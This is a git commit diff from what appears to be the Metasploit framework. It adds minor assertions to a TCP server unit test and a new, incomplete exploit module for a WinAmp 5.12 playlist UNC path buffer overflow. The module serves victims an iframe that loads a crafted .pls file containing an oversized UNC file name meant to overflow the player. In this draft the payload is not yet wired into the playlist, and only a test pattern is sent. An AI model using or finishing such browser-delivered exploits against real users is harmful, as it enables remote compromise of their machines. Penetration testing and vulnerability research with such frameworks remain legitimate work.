A couple more assertions in the tcp_server test suite.

Added template for the winamp pls overflow (unc computer name) git-svn-id: file:///home/svn/incoming/trunk@3474 4d416f70-5f16-0410-b530-b9f4589650da
2006-01-30 17:25:44 +00:00 · 2006-01-30 17:25:44 +00:00 · c1b9129bca
parent be31eead6f
commit c1b9129bca
2 changed files with 92 additions and 0 deletions
--- a/lib/rex/socket/tcp_server.rb.ut.rb
+++ b/lib/rex/socket/tcp_server.rb.ut.rb
@ -31,6 +31,10 @@ class Rex::Socket::TcpServer::UnitTest < Test::Unit::TestCase

 			assert_equal(2, scli.put("Yo"), "scli: put Yo")
 			assert_equal("Yo", ccli.get(), "ccli: get Yo")
+			assert(scli.methods.include?('<<'))
+			assert(scli.methods.include?('>>'))
+			assert(scli.methods.include?('has_read_data?'))
+			
 		ensure
 			ccli.close if (ccli)
 			serv.close
--- a/modules/exploits/windows/browser/winamp_playlist_unc.rb
+++ b/modules/exploits/windows/browser/winamp_playlist_unc.rb
@ -0,0 +1,88 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Browser::WinAmp_Playlist_UNC < Msf::Exploit::Remote
+
+	#
+	# This module acts as an HTTP server
+	#
+	include Exploit::Remote::HttpServer
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'WinAmp Playlist UNC Path Overflow',
+			'Description'    => %q{
+
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         => 
+				[ 
+					'hdm', 
+				],
+			'Version'        => '$Revision$',
+			'References'     => 
+				[
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 512,
+					'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
+					'Compat'   => 
+						{
+							'ConnectionType' => '-find',
+						},
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'WinAmp 5.12', { }],
+				],
+			'DisclosureDate' => 'Jan 29 2006',
+			'DefaultTarget'  => 0))
+	end
+
+	def check_dependencies
+		use_zlib
+	end
+
+	def on_request_uri(cli, request)
+	
+		if (not request.uri.match(/\.pls$/i))
+			html =
+				"<html><iframe src='" + get_resource + '/' +
+				Rex::Text.rand_text_alphanumeric(rand(80)+16) + 
+				".pls'></iframe>" +
+				"<body>One second please...</body></html>"
+			send_response(cli, html)
+			return
+		end
+
+		# Re-generate the payload
+		return if ((p = regenerate_payload(cli)) == nil)
+
+		# Transmit the compressed response to the client
+		send_response(cli, generate_playlist(p), { 'Content-Type' => 'text/plain' })
+		
+		handler(cli)
+	end
+	
+	def generate_playlist(payload)
+
+		file = Rex::Text.pattern_create(2048)
+		play =
+			"[playlist]\r\n"                 +
+				"File1=\\\\" + file + "\r\n" +
+				"Title1=~BOF~\r\n"           +
+				"Length1=FFF\r\n"            + 
+				"NumberOfEntries=1\r\n"      + 
+				"Version=2\r\n"
+		return play	
+	end
+
+end
+end